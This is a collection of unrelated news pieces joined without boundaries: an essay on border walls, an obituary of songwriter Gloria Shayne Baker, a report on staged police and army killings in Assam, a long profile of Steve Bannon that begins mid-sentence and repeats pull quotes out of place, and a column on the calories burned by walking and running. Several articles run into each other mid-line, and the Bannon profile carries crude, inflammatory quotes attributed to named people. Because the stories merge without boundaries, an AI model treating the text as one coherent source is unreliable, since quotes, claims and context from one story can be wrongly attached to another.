Walls are springing up across our world with incredible speed, which contradicts many cliches about globalization. Sure, the world is getting smaller; it's also getting more carefully delineated and guarded. The French historian Jacques de Saint Victor came up with very snazzy term for this phenomenon in an essay called The Return of Walls: A Closed Globalization?. He describes it as the "neo-feudalization of the world." Even though it's draped in technology and futurism, the construction of carefully controlled walls is all about imposing order on the chaos of poverty-stricken, war-torn groups of people.
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A Southern Arizona rancher stands at the border wall with Mexico in 2010. AP Photo/Matt York.
"These walls are usually built along borders where there is a sharp wealth discontinuity across the border with a wealthy state directly beside a poor state," Jones told me over email, adding that Saudi Arabia and Iraq have "one of the widest wealth differences in the world," with GNI per capita at $53,640 and $14,930, respectively. The same goes for the US-Mexico border, and the South Korea-North Korea border, too. "Typically the country building the wall describes the threat on the other side as an uncivilized and violent people living in an ungoverned space," he writes.
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Ethiopian migrants gather as they wait to be evacuated on the border with Saudi Arabia and Yemen, Wednesday, March 21, 2012. AP Photo/Hani Mohammed.
Keep Control In and Keep the Chaos Out
The violent threat against Saudi Arabia is clear, but there are socioeconomic issues at play with these walls, too. Saudi Arabia, one of the richest countries in the world, is bordered to the south by the poorest and most resource-scarce country in the region, Yemen, which has also become hotbed of terrorism. To the north, there's a war-torn and poverty-stricken country controlled by ISIL, one of whose stated goals is to take control of Mecca and Medina in Saudi Arabia.
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Faced with encroaching chaos on either end, a great wall—no matter how totally futile—starts to make more sense. Walls are just as important as symbols as they are as defenses. The security expert Bruce Schneier has described this effect when talking about TSA screenings at American airports as "security theater:" A feature that enhances a sense of security without security itself.
Walls aren't really about defenses, they're about optics—demonstrating a controlled divide for the people on either side. "Once the wall has been erected, it acquires a life of its own and structures people's lives according to its own rules," Costica Bradatan said in the New York Times. "It gives them meaning and a new sense of direction. All those walled off now have a purpose: to find themselves, by whatever means it takes, on the other side of the wall."
So maybe Saudi Arabia will actually built this 600-mile wall it's been talking about for a almost a decade. Maybe it won't. It doesn't really matter, because we're already talking about it exerting control over the chaos surrounding it. The wall its neighbors and the rest of the world is imagining—the one drawn in the neat, isometric illustrations—seems like it's almost as important than the real thing.
AdvertisementGloria Shayne Baker, who composed the hit Christmas song “Do You Hear What I Hear?,” died on Thursday at her home in Stamford, Conn. She was 84.
The cause was cancer, her daughter, Gabrielle Regney, said.
Written in 1962 during the Cuban Missile Crisis, “Do You Hear What I Hear?” was intended to be a plea for peace. The song had music by Ms. Baker and lyrics by Noel Regney, to whom she was then married. (This division of labor was a switch for them: in most of their other collaborations, including “Rain, Rain, Go Away,” he wrote the music and she the lyrics.)
“Do You Hear What I Hear?,” which tells the story of the Nativity, has sold tens of millions of records. It has been recorded most famously by Bing Crosby, Perry Como, Robert Goulet, Johnny Mathis and the Harry Simeone Chorale; as well as by Pat Boone, Glen Campbell, Kenny G, Bob Hope, Whitney Houston, Mahalia Jackson, Jim Nabors, Kate Smith, John Tesh, the Tropical Flavor Steel Drum Band and the United States Air Force Symphony Orchestra, among hundreds of others.
Gloria Adele Shain was born in Brookline, Mass., on Sept. 4, 1923; she changed the spelling of her last name early in her career. She earned a bachelor’s degree from the Boston University School of Music and afterward worked as a pianist, arranger and background vocalist for composers like Irving Berlin and Stephen Sondheim. In later years, she accompanied the tenor Jan Peerce.
In 1951, she married Mr. Regney (pronounced ray-NYAY); they divorced in 1973. Her second husband, William Baker, died in 2001. In addition to her daughter, Gabrielle, Ms. Baker is survived by another child from her first marriage, Paul Regney; a brother, Myron Shain; a sister, Thelma Wisefield; a half-sister, Etta Sandler; four stepchildren, Carolyn Ohlson, William Baker Jr., Alan Baker and Steven Baker; one grandchild; and 10 step-grandchildren. Mr. Regney died in 2002.
Ms. Baker’s other credits include the music and lyrics for “Goodbye, Cruel World,” which was recorded by James Darren. With Jerry Keller, she wrote “Almost There,” recorded by Andy Williams; and with Mary Candy and Eddie Deane, she wrote “The Men in My Little Girl’s Life,” recorded by Mike Douglas.Not far from Guwahati on the busy NH 31 is the intersection Baihata Chariali, notorious for exchange of victims of staged encounters.
This is how it happens, say the insiders familiar with such operations:
A white Maruti van comes and parks itself near a fuel station.The police wait at a distance and watch. A second vehicle is already there – a civil car of some known person with changed number plates. It could also be an officer’s personal vehicle with ready-made fake number plates. The most popular vehicles for exchanges are Maruti vans because their doors slide, making it easy to exchange passengers. The sedated victim is shifted to the other vehicle, money is paid and he is immediately taken to the army unit. A doctor checks him and he is kept under observation for a few days to assess whether anyone has filed complaint for a missing person. Usually, various security forces operating in the area jointly work to diffuse accountability. Either the victim is a militant or a petty thief or an illegal immigrant from across the international border. The police confirm his antecedents. The place and time is determined by the army uni. And then the victim is shot in cold blood.
For years now, the districts of Lower Assam in the north bank of the Brahmaputra, bordering Bhutan on one side and Bangladesh at the other, offer safe haven and easy crossovers. The proliferation of armed groups and presence of arms have allowed a free run for all involved in counter-insurgency operations. The chaos provides the smokescreen for encounters.
It is in this location that Central Reserve Police Force Inspector General (North East Sector) Rajnish Rai has recently alleged a staged encounter by a joint team of CRPF, the Army, Sashastra Seema Bal and the Assam Police, in which two militants belonging to National Democratic Front of Bodoland (Songbijit) were shot dead and, as he claims, weapons planted on their bodies.
#ExpressFrontPage CRPF IGP says fake encounter in Assam by Army, police, his forcehttps://t.co/rSmwsQz5rB — The Indian Express (@IndianExpress) May 24, 2017
Rai’s claim is not unlikely, given that it eerily follows the pattern of encounter deaths in Assam.
There are categories of encounters. One is when the security forces go out in the field, and are fired at and they fire back. “Fake encounters” are killing a genuine militant, but not in a genuine encounter. The third category, many say, is “false encounter” or “staged encounter”, which involves killing an outright innocent individual.
Pressure from the top
The job of a unit of army or paramilitary force is to catch or kill. It doesn’t help to create a climate of peace and reconciliation. They are meant to eliminate. When they fail to do this they are questioned – and asked to produce a headcount, show weapon seizures and all that comes with the kill.
That is the context in which staged encounters sustain themselves.
To ward off pressure from the top, these agencies tend to “create” militants with the help of the police. It is possible that some of those killed are not entirely innocent. But these are murders nevertheless.
In the process, the police also sets its record straight and eliminates the criminal class. So it serves a dual purpose. Mostly, criminals are weeded out. In this, there is some element of vendetta as well. Personal scores are also settled. When there is even greater pressure mounting on the army and the police, the poor Bangladeshi who has just jumped across the border fence, and is not identified, becomes a victim. And the cartel flourishes.
There is no brief – nobody prompts anyone. But the subtle pressure is there though it can be resisted – and many do resist. The consequence, though, is that they may have to lose their rank.
Awards and medals
“Encounters”, as is now commonly known,
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man waiting his turn on the receiving line. “If I could ask him one question, it would be, why aren’t you president?’” That has at least been a passing thought. In October, Bannon called an adviser and said he would consider running for president if Trump doesn’t run for re-election in 2020. Which Bannon has told people is a realistic possibility. In private conversations since leaving the White House, Bannon said Trump only has a 30 percent chance of serving out his term, whether he’s impeached or removed by the Cabinet invoking the 25th amendment. That prospect seemed to become more likely in early December when special counsel Robert Mueller secured a plea deal from former national security adviser Michael Flynn. Bannon has also remarked on the toll the office has taken on Trump, telling advisers his former boss has “lost a step.” “He’s like an 11-year-old child,” Bannon joked to a friend in November. While Bannon praised Trump during our conversations—he said he’s the best orator since William Jennings Bryan—he doesn’t deny he was unhappy in the White House. “It was always a job,” he said. “I realize in hindsight I was just a staffer, and I’m not a good staffer. I had influence, I had a lot of influence, but just influence.” He told me he now feels liberated. “I have power. I can actually drive things in a certain direction.” Don’t miss another story: sign up for the Hive’s daily news brief now. Not surprisingly, the idea of Bannon as a political figure, let alone a presidential candidate, inspires ridicule and venom from the Republican establishment. The Wall Street Journal editorial page called Bannon’s roster of candidates a bunch of “cranks and outliers.” Former McConnell chief of staff Josh Holmes said Bannon is a “white supremacist.” Stuart Stevens, a veteran of five Republican presidential campaigns, told me that Bannon is “an odd, strangely repulsive figure who is trying to use the political process to work through personal issues of anger and frustration.” He added, “like many people in their first campaign, he confused his candidate winning with the fantasy voters supported him.” A prominent Republican described Bannon’s crusade as a vanity exercise doomed to fail. “I think there was a lot of rage when he was in the White House,” the Republican said. “Steve had to subsume his ego to Donald, who Steve thinks is dumb and crazy. With Steve, it’s not about building new things—it’s about destroying the old. I’m not sure he knows what he wants.” As evidence, he pointed out the recent Virginia governor’s race, where Republican Ed Gillespie got crushed by nine points running on a Bannon-esque platform defending Confederate monuments and inciting fear over illegal immigrant crime. “The issues didn’t just fail, they failed miserably,” the Republican said. Bannon’s response to all this criticism is a variation on his personal motto: Honey badger don’t give a shit. “I don’t give a fuck,” he told me when I visited him one morning at the Bryant Park Hotel. “You can call me anything you want. Do you think I give a shit? I literally don’t care.”
A few hours after the Tokyo speech, Bannon’s security chief Tej Gill escorted me and a group of Japanese television journalists up to Bannon’s suite. Bannon was padding around the room in a black blazer over two collared shirts, quaffing a can of Pocari Sweat, a popular Japanese energy drink. “Dude, the biggest story out there has got to be Alwaleed and Murdoch. It’s a monster story,” he said, referring to the billionaire Saudi financier, Prince Alwaleed bin Talal, who’d been arrested on orders from Crown Prince Mohammed bin Salman. Until a few years ago, Alwaleed was the largest non-Murdoch voting shareholder of News Corp. “Uhhh, note to self: Alwaleed’s like the 25th richest guy in the world, and he’s going to have his head on the end of the scimitar! Rupert Murdoch does not exist unless this guy was stroking him checks in the 90s.” Bannon’s nephew Sean cradled a phone asking room service to send up cans of Red Bull, but was informed the hotel doesn’t have any. He asked for Cokes and coffee instead. “We have to get him revved,” he told me. Bannon was revved already. “The Bush presidency is the most destructive presidency in history. James Buchanan included. It’s not even close,” Bannon said when I brought up the Bushes. “And by the way,” he continued unprompted, “I haven’t even gotten to 9/11. I mean, 9/11! Think about if 9/11 had happened on Trump’s watch. We would have gotten 100 percent of the blame by the Bush guys. And they said, well, we just got here. What do you mean you just got here? That’s what gets me about them coming after Trump. I really detest them. I mean, the old man is a pervert. He’s a pervert. Grabbing these girls and grabbing their asses?” A few minutes later, the Japanese crew was ready to start taping, but Bannon didn’t like the camera position. “I got the most stunning shot in Japan right here and you want to shoot a wall?” he said, pointing at the postcard view of the Imperial Palace out the window. The cameraman struggled in broken English to explain that shooting in that direction wasn’t possible because of the lighting. “Then why don’t we just go to a Marriott,” Bannon grumbled. Video: Steve Bannon: The Republican Party’s New Kingmaker? The producers began moving the cameras. Since we arrived in Tokyo, Roy Moore’s prospects had worsened. News outlets reported overnight that Moore had been banned from a shopping mall in the 80s because he cruised for teens. “He’s denied it,” Bannon said. He pulled out his BlackBerry and showed me an e-mail from Breitbart reporter Aaron Klein. “Klein’s on something big,” he said. I catch a glimpse of the e-mail, it said something about the stepson of one of Moore’s accusers claiming she’d made up the allegations for money. Despite the new headlines, Bannon was confident that his strategy was working. He sensed he had a deep understanding of the electorate. “This is Alabama,” he explained. “The age of consent is 16 for a reason.” Bannon’s conviction was forged from surviving the darkest moments of the 2016 campaign. “This is exactly like Billy Bush weekend,” he said. “So I’ve heard it all and seen it all.” During our conversations, Bannon proudly told me multiple times how he counseled Trump not to back down after the Access Hollywood tape leaked. He recalled how then-R.N.C. Chairman Reince Priebus told Trump he would lose in a historic landslide if he stayed on the ticket. “It was such an overreaction! I’ve seen the same cast of characters all run for the exits, right? You gotta remember, on Saturday morning of Billy Bush weekend, he tried to pitch Trump to get off the ticket. I’m like, are you insane?” A producer motioned that it was time to start the interview. Bannon was pleased the camera was positioned as he requested. He excused himself and sat down with a fresh cup of black coffee.
Billy Bush Weekend cemented Bannon’s bond with Trump. But when Trump became Mr. President-Elect, on another plane, the relationship became much more complicated. Trump was deeply galled that the media portrayed Bannon as the wizard behind the curtain. “I like Steve, but you have to remember he was not involved in my campaign until very late,” Trump told the New York Post. “I had already beaten all the senators and all the governors, and I didn’t know Steve. I’m my own strategist.” (In fact, Trump had known Bannon since 2011). In July, Bloomberg Businessweek journalist Joshua Green published a best-selling book, Devil’s Bargain, that gave a substantial amount of credit for Trump’s win and overall vision to Bannon. Trump tweeted in response: “I love reading about all of the ‘geniuses’ who were so instrumental in my election success. Problem is, most don’t exist. #Fake News! MAGA...” Meanwhile, Trumpworld, which had been unified by the shared goal of defeating Hillary Clinton, cleaved into warring factions within hours of Trump’s unexpected win. On election night, Bannon said he disagreed with Jared Kushner and Ivanka Trump over the content of Trump’s victory speech. Kushner and Ivanka wanted it to strike a tone of unity, whereas Bannon wanted to keep up the attack. “I didn’t think it was the right time to talk about uniting,” he said. “I think some of that stuff comes off as phony.” The battle intensified in the White House. On one side was a group of advisers Bannon dismissively dubbed “the Democrats,” comprising Jared Kushner, Ivanka Trump, Gary Cohn, and Dina Powell. On the other were the nationalists: Bannon, Jeff Sessions, Stephen Miller, Sebastian Gorka, and Peter Navarro (Kushner’s camp called them “the crazies” or “Breitbart”). The nationalists prevailed in the early days of the administration, as Trump signed a flurry of executive orders on trade and regulations from a list of campaign promises Bannon had scrawled on a whiteboard in his West Wing office. “You had to be a disruptor and keep people on their back heels. That’s why we were doing three E.O.s a day,” Bannon explained. “I told Reince that if you slow down, they’ll pick us apart with the palace intrigue stuff, which is what they really want to write.” On the afternoon of Friday, January 27, the White House announced a travel ban barring immigrants from eight Muslim-majority countries from entering the United States, including all Syrian refugees. It sparked protests at airports nationwide. Bannon explained this was by design. “Why did we drop the travel ban on a Friday evening? Because the resistance is our friend,” he told me. “Our thing is to throw gasoline on the resistance. I love it. When they”—the Democrats—“talk about identity politics, they’re playing into our hands. Because you can’t win [elections] on that.” I asked Bannon about the charges he’s cultivated white supremacist groups. “These guys are beyond clowns,” he said. “It’s the left media that makes them relevant because 25 of them show up, and it’s like a hundred cameras. They’re losers.” I asked Bannon about the hit pieces Breitbart had published about me. “Ha! Those were love taps, dude. Just business.” The backlash to the travel ban proved to be a political and legal disaster for the White House and Bannon’s standing in it. As courts blocked the ban and Trump’s poll numbers sank to historic lows, Bannon’s enemies, led by Kushner, moved to marginalize him. (Bannon aided Kushner’s cause by installing himself on the National Security Council, which infuriated Trump, the White House official said.) To Bannon, a former Naval officer who worked his way into Harvard Business School and Goldman Sachs, Kushner was a callow elitist in way over his head. “He doesn’t know anything about the hobbits or the deplorables,” Bannon said. “The railhead of all bad decisions is the same railhead: Javanka.” According to a person close to Kushner, Trump’s son-in-law viewed Bannon as a leaker at best, and a racist at worst. Any chance of Bannon and Kushner salvaging a working relationship collapsed over Kushner’s role in the decision that many see as the possible linchpin of Trump’s downfall. In early May, Bannon and Kushner tangled over Trump’s plan to fire F.B.I. director James Comey. Over the weekend of May 6 and 7, Bannon was in Washington when Kushner, Ivanka, and Stephen Miller accompanied Trump to his golf club in Bedminster, New Jersey, where the decision to fire Comey was finalized. The White House announced Comey’s dismissal on the afternoon of Tuesday, May 9. Bannon was furious when he found out. “It’s the dumbest political decision in modern political history, bar none. A self-inflicted wound of massive proportions,” he later said. “Especially in light of recent news, for the country, the president’s best decision was firing James Comey. His second best decision was firing Steve Bannon, bar none,” a White House official said. Bannon believed the Russia collusion case was meritless, but he blamed Kushner for taking meetings during the campaign that gave the appearance the Trump team sought Putin’s help. “He’s taking meetings with Russians to get additional stuff. This tells you everything about Jared,” Bannon told me. “They were looking for the picture of Hillary Clinton taking the bag of cash from Putin. That’s his maturity level.” By Jonathan Ernst/REUTERS. “Steve Bannon may regret not being in the White House anymore, but that is not an excuse for him peddling false stories about Jared or anyone else,” said Kushner’s attorney Abbe Lowell. The blowback pitched the West Wing into another crisis. On Wednesday, Bannon was meeting with chief of staff Priebus in Priebus’s office when Kushner walked in. “We have a communications problem,” Kushner said. “No we don’t,” Bannon shot back. “We have a decision-making problem. We make a lot of bad decisions, and the bad decisions have to do with you.” “It got uglier from there,” Bannon later recalled. “As stated a dozen times, after Jared was told of the decision that had been made to fire director Comey, he supported it,” Lowell said. Comey’s firing triggered the outcome Bannon was worried about: the appointment of a special counsel. Bannon threw himself into setting up a war room to contain Robert Mueller’s investigation. “Goldman Sachs teaches one thing: don’t invent shit. Take something that works and make it better,” Bannon said, explaining how he consulted with Bill Clinton’s former lawyer Lanny Davis about how the Clintons responded to Ken Starr’s probe. “We were so disciplined. You guys don’t have that,” Bannon recalls Davis advising him. “That always haunted me when he said that,” Bannon told me. Bannon said he grew increasingly disillusioned that Trump wasn’t taking the investigation seriously. He told Trump the establishment was trying to nullify the election and he was in danger of being impeached. The relationship between Kushner and Bannon worsened through the spring. At one point, Bannon said, Trump called an Oval Office meeting to broker peace. Attending were Bannon, Kushner, and Ivanka Trump. She blamed Bannon for the leaks. “She’s the queen of leaks,” Bannon argued back. “You’re a fucking liar!” Ivanka said. Trump tried to adjudicate, but the meeting did little to diffuse tensions. Bannon was also fighting to save one of his closest allies in the administration. Since March, Trump had been irate at Attorney General Jeff Sessions for recusing himself from the Russia investigation. On the morning of Monday, July 24, hours before Kushner was scheduled to testify in front of the Senate Intelligence Committee, Trump called Sessions “beleaguered” in a tweet about his failure to investigate Hillary Clinton. “He hung Sessions out to dry to cover Jared, and the media never covered Jared, and they covered Sessions,” Bannon later said. (A White House official denied this.) The next day, Bannon said he called Sessions into a meeting. He knew Sessions had already tried to resign once. “Look, I have a question for you,” Bannon said. “Is there any doubt in your mind that it was Divine Providence, the Hand of God that got us this victory?” “No doubt,” Sessions replied. “You’re sure?” Bannon continued. “There’s no doubt.” “Then where’s your commitment here?” “I will never leave,” Sessions assured him. “I may get fired, but I’ll never leave.” (A Justice Department spokesperson did not comment.) By this point it was Bannon who was on the way out. In late July, Trump replaced Priebus with John Kelly and gave the retired four-star Marine general a stated mandate to bring the warring West Wing factions to heel. Among Kelly’s first orders of business was firing communications director Anthony Scaramucci. Another, according to White House officials: telling Bannon he needed to go. Bannon told me he always planned to leave by the one-year anniversary of joining Trump’s campaign, and he told Kelly on August 7 he wanted to resign. Whatever the case, Bannon said he knew Trump might try to control the narrative of his departure, so he told Kelly not to tell Trump. But later that night, Bannon said Trump called him after learning of the decision from White House lawyer John Dowd. Bannon said he told Trump he wanted to attack his G.O.P. detractors from the outside. “I said the establishment is trying to nullify your election,” he recalls. “Forget the Democrats. We got our own thing with the three committees” investigating Russia collusion. According to Bannon, Trump was reluctant at first to let him leave. And the threat of Bannon turning Breitbart loose on Trump and his family loomed. “He was very nervous about it,” Bannon said. “He just fuckin’ knows I’m a junkyard dog, and I was pissed at the time.” Bannon said Trump told him he needed to think about it. Trump’s instinct to stoke racial conflict delayed Bannon’s departure. During the weekend of August 12, neo-Nazis marched through Charlottesville, Virginia, chanting “Jews will not replace us” to protest the removal of Confederate monuments. During clashes with counter-protesters, a white supremacist rammed his car into a crowd killing a 32-year-old woman named Heather Heyer and wounding dozens. Trump fanned outrage by blaming the violence on “many sides.” Kushner and Ivanka implored him to apologize, and other members of the administration contemplated resigning. Bannon told the president on a phone call that apologizing would never satisfy the critics. “I said it’s not enough and it’s too late. Nothing you can say could be good enough.” As the uproar over Charlottesville grew louder, Bannon quietly plotted his next move. White House officials say Bannon tried calling Trump and lobbied members of Congress to pressure Trump to change his mind. On Thursday, August 17, he held a five-hour strategy meeting with billionaire mega-donor Robert Mercer at his Long Island estate. That same day, The American Prospect published a remarkable score-settling interview Bannon had given to its editor Robert Kuttner. The fact that Bannon spoke to a magazine aligned with the Bernie Sanders wing of the Democratic Party got people’s attention. But what likely got Bannon fired were his comments that there was no military solution to the North Korean nuclear crisis. The remark sent the stock market tanking. If Trump understands one thing, it’s money, and he approved Bannon’s dismissal. That night, Bannon left his office for the last time, taking nothing with him.
When news of Bannon’s exit broke on the afternoon of Friday, August 18, he was already back to work at Breitbart’s Washington headquarters, a stately row house blocks from the Capitol known as the Breitbart Embassy. Staffers showered him with a hero’s welcome. “I don’t think Trump understands how dangerous Steve is. He just runs in and conquers shit, like Charlemagne,” a Breitbart journalist told me at the time. That night, Bannon signaled to Trump he was going to continue the wars he waged in the West Wing from the outside. “Now I’m free. I’ve got my hands back on my weapons,” he boasted to the Weekly Standard. Bannon’s campaign role model may surprise you. “It’s the Obama model,” he told me. He wants to bring together a new coalition of evangelicals, libertarians, pro-gun activists, and union members. “Remember when Rudy Giuliani came up on that stage in 2008 and starting mocking Obama and said, ‘What’s a community organizer’? And the whole place roared in laughter. Well, we now know—it’s somebody that can kick your ass.” “Trump is an accommodationist,” Bannon said. “His tendency is to always get Maggie Haberman in there. He reads The New York Times. To him that’s the paper of record.” But Bannon’s campaign against McConnell complicated his already complicated relationship with Trump. In early September, 60 Minutes asked the White House to book Trump for an interview for the season premiere, but after Bannon did an interview with Charlie Rose, sources said Trump didn’t agree to do it, in part because he didn’t want to follow in Bannon’s footsteps. Breitbart attacked Trump for cutting a deal with Democrats to raise the debt ceiling. In the Alabama Senate primary, Bannon backed Moore while Trump supported Luther Strange. During a phone call in October, according to a source, Bannon and Trump debated for 15 minutes about who should get credit for Arizona Senator Jeff Flake’s decision to retire. The following month, perhaps as an act of trolling, Bannon reportedly encouraged Trump’s nemesis, billionaire Mark Cuban, to run for president—as a Democrat. Bannon’s own transformation from political adviser to a quasi-politician has also transformed Breitbart; it’s become a site that promotes his campaign. On the day of Bannon’s Tokyo speech, his name appeared in seven different headlines on the homepage. In December, Bannon signed a deal to host Breitbart’s daily satellite radio show. His message, however, isn’t quarantined inside the right-wing media bubble. That’s because Bannon has a canny ability to cultivate mainstream journalists. My own experience with him illustrates how he operates. In August 2015, I received an e-mail from Kurt Bardella, who at the time handled Breitbart’s public relations. “Thought I’d reach out and just say that if you ever wanted to talk with Bannon on background, I think he’d def be willing to touch base with you,” Bardella wrote. I was shocked by his note—and also intrigued. For the previous three years, Bannon had tried to destroy my professional reputation. During this time I was researching a biography of the late Fox News Chairman Roger Ailes. A legendary paranoiac, Ailes waged an elaborate campaign to discredit my book that included having me followed by private detectives and commissioning a 400-page dossier about my life. Bannon and Breitbart played a crucial role in the effort. He worked out of Fox News headquarters strategizing with Ailes about how to attack my book. Breitbart published many thousands of words about me, at turns calling me a “Soros-backed attack dog,” “harasser,” “stalker,” and “Jayson Blair on steroids,” a reference to the former New York Times fabulist. After one Breitbart article, my wife and I received a threatening phone call at home. We called the police. Heat. Access. Perspective. Subscribe to Vanity Fair now. A few days after Bardella e-mailed, I met Bannon for lunch at the Bryant Park Grill in Midtown Manhattan. I found him at an outdoor table, wearing an untucked shirt and cargo shorts. His hair was a tangled nest of platinum gray and it looked like he hadn’t shaved in days. If I didn’t know him I’d have thought he just rolled off a bus at the Port Authority. Bannon shook my hand graciously. He told me he enjoyed my book on Ailes. What about all the hit pieces he published? “Ha! Those were love taps, dude. Just business.” We proceeded to have a highly entertaining lunch swapping media and political gossip. As much as I wanted to loathe Bannon—the Breitbart attacks were genuinely terrifying—I found myself liking him. He was strange and charismatic and slightly unhinged, and he possessed a sophisticated and encyclopedic knowledge of the modern political-media landscape. He personally knew the players, from the on-air talent and programming executives to the candidates and billionaire donors. And he was a gifted talker. He exaggerated but didn’t quite lie (at least most of the time). And during conversations he fired off laser-accurate descriptions of famous people that would make the best insult comics proud. In that way, he was like another New York blowhard: Trump.
“Later Nazi! Have fun at your Klan rally!” A kid in a green hoodie was heckling Bannon as he led his entourage through baggage claim at John F. Kennedy Airport after touching down from Tokyo. “That’s what I call a New York good morning,” Bannon said, flashing a satisfied grin. The siege on Roy Moore’s campaign continued. The previous day, Ivanka Trump told the Associated Press “there’s a special place in hell for people who prey on children.” Bannon was incredulous she’d make the comment. “What about the allegations about her dad and that 13-year-old?” he said, referring to the California woman who alleged Trump raped her when she was a teen (the suit has since been dropped.) “Ivanka was a fount of bad advice during the campaign.” Bannon was eager to get Trump on the phone. He told me Trump’s presidency was at stake. His theory was that, if McConnell succeeded in forcing Moore out, it would open Trump up to having every sexual harassment and assault allegation against him relitigated in the court of public opinion. “It’s a firebreak,” he later said. Bannon’s eyes were circled with dark rings and his ruddy nose was approaching Rudolph-level red. But on his campaign schedule there was no time to slow down. We climbed into a pair of black Suburbans and rolled out. “We have a communications problem,” Jared Kushner said. An hour later Bannon boarded a Hawker 850 private jet at Teterboro Airport bound for Florida. He was due in Palm Beach to deliver a keynote speech at Restoration Weekend, the annual gathering of right-wingers hosted by former New-Leftist-turned-conservative provocateur David Horowitz. “The thing about Restoration Weekend,” Bannon had told me earlier, “is you got a lot of Jewish Palm Beach matrons who used to be superhot. They were all left-wing in the 60s. That was before they locked down successful Palm Beach business guys. Now they’re hardcore. You half expect them to throw their panties at Horowitz. They’re all Trump people.” A pilot climbed aboard and sealed up the door. “We got a planeload of patriots,” he said. The engines whirred, and as we taxied towards the runway, Bannon explained why, despite his competition with Trump, he needs to defend him at all costs. “Trump’s at war with the permanent political class in D.C. I have this whole theory about the nullification of the 2016 election by the Democrats, the opposition party and the Republican establishment,” he said. “Can you believe they had that Senate committee meeting that talked about the president’s ability to use nuclear weapons? It’s unreal!” Once we’re airborne I asked Bannon how the presidency had changed Trump. “He’s much more moderate,” Bannon said, sipping a Fiji water. “He’s an accommodationist. Trump’s tendency is to always get Maggie Haberman in there. He reads The New York Times. To him that’s the paper of record.” For a presidency defined by Twitter, Bannon said Trump has a limited grasp of new media. “He doesn’t go online. That’s a huge thing. I mean Orrin Hatch”—who’s 83—“goes online! Trump reads printouts.” Bannon paused and looked out the window. “I was born down there,” he said, pointing at the hazy Virginia coastline below. Bannon’s blue-collar upbringing and conservative Catholic faith undergird his populist ideas. He argues that his platform of economic nationalism has been misrepresented by critics that label it racist. Cutting immigration and erecting trade barriers will help people of color by tightening the labor market, thereby raising wages. In the White House, he argued to increase tax rates on the wealthy and has problems with the G.O.P. tax plan (although he ultimately supports it). Bannon also argued to end the country’s decades-long entanglement in Afghanistan and spend the money at home. “You could rebuild America! Do you understand what Baltimore and St. Louis and these places would look like?” And he told me he thinks the government should regulate Google and Facebook like public utilities. “They’re too powerful. I want to make sure their data is a public trust. The stocks would drop two-thirds in value.” Raheem Kassam, a former adviser to Nigel Farage who now edits Breitbart London and travels in Bannon’s entourage, told me, “I wouldn’t be surprised to see Bannon and Bernie campaigning together in a couple years.” “We have a decision-making problem,” Bannon said. “We make a lot of bad decisions, and the bad decisions have to do with you.” There’s not much evidence that that notion is more than a fantasy. Not only because of Bannon’s pariah status on the left, but also because it’s difficult to reconcile Bannon’s homilies about helping minorities with a worldview that America is a Western European, Judeo-Christian culture that must close its borders and build a wall at a time when the immigrants are brown-skinned people. “My theory, our philosophy, is that we’re more than an economy. It’s one of the reasons the Republicans and the Paul Ryans of the world and Paul Singers got off track with this Ayn Rand Austrian economics where everything’s about the economy. Well, it’s not the economy. We’re a civic society with borders and values.” When he’s talking up the virtues of strengthening civic bonds he sounds like Robert Putnam. But Bannon’s Breitbart mobilizes its readers by taunting the left, and can often seem to be the entirety of his program. Rage-stoking is not populism, and politicians Bannon has backed mainly seem interested in pissing off liberals, rather than passing legislation that fundamentally makes America a more equitable society. After all, before Bannon found Trump, there was Sarah Palin and Michele Bachmann. Bannon said his candidates aren’t wing nuts, they’re just regular people. “They’re not blow-dries,” he said. “I don’t want the Marco Rubios that have been in the R.N.C. since they were 9 years old with a briefcase. It’s all bullshit. Our guys can be a little rough around the edges. They’re gonna say some crazy shit, O.K. You know why? Because people are going to identify this guy’s real and he’s a fighter.” By Nicole Craine/Bloomberg/Getty Images.A few months ago I got into an argument with someone who's far smarter than I am. I should have known better, but you know how these things go. Needless to say, I lost the argument. Still, I learned something important in the process.
David Swain is a bicyclist who likes to ride across the country every couple of years. Since I spend most of my time on my feet, I figured I could teach him something about walking and running. Perhaps I should have paid more attention to Swain's Ph.D. in exercise physiology, his position as director of the Wellness Institute and Research Center at Old Dominion University, and his work on the "Metabolic Calculations" appendix to the American College of Sports Medicine's Guidelines for Exercise Testing and Prescription.
Both Swain and I are interested in the fitness-health connection, which makes walking and running great subjects for discussion. To put it simply, they are far and away the leading forms of human movement. Every able-bodied human learns how to walk and run without any particular instruction. The same cannot be said of activities such as swimming, bicycling, skateboarding, and hitting a 3-iron. This is why walking and running are the best ways to get in shape, burn extra calories, and improve your health.
Our argument began when I told Swain that both walking and running burn the same number of calories per mile. I was absolutely certain of this fact for two unassailable reasons: (1) I had read it a billion times; and (2) I had repeated it a billion times. Most runners have heard that running burns about 100 calories a mile. And since walking a mile requires you to move the same body weight over the same distance, walking should also burn about 100 calories a mile. Sir Isaac Newton said so.
Swain was unimpressed by my junior-high physics. "When you perform a continuous exercise, you burn five calories for every liter of oxygen you consume," he said. "And running in general consumes a lot more oxygen than walking."
What the Numbers Show
I was still gathering my resources for a retort when a new article crossed my desk, and changed my cosmos. In "Energy Expenditure of Walking and Running," published last December in Medicine & Science in Sports & Exercise, a group of Syracuse University researchers measured the actual calorie burn of 12 men and 12 women while running and walking 1,600 meters (roughly a mile) on a treadmill. Result: The men burned an average of 124 calories while running, and just 88 while walking; the women burned 105 and 74. (The men burned more than the women because they weighed more.)
Swain was right! The investigators at Syracuse didn't explain why their results differed from a simplistic interpretation of Newton's Laws of Motion, but I figured it out with help from Swain and Ray Moss, Ph.D., of Furman University. Running and walking aren't as comparable as I had imagined. When you walk, you keep your legs mostly straight, and your center of gravity rides along fairly smoothly on top of your legs. In running, we actually jump from one foot to the other. Each jump raises our center of gravity when we take off, and lowers it when we land, since we bend the knee to absorb the shock. This continual rise and fall of our weight requires a tremendous amount of Newtonian force (fighting gravity) on both takeoff and landing.
Now that you understand why running burns 50 percent more calories per mile than walking, I hate to tell you that it's a mostly useless number. Sorry. We mislead ourselves when we talk about the total calorie burn (TCB) of exercise rather than the net calorie burn (NCB). To figure the NCB of any activity, you must subtract the resting metabolic calories your body would have burned, during the time of the workout, even if you had never gotten off the sofa.
You rarely hear anyone talk about the NCB of workouts, because this is America, dammit, and we like our numbers big and bold. Subtraction is not a popular activity. Certainly not among the infomercial hucksters and weight-loss gurus who want to promote exercise schemes. "It's bizarre that you hear so much about the gross calorie burn instead of the net," says Swain. "It could keep people from realizing why they're having such a hard time losing weight."
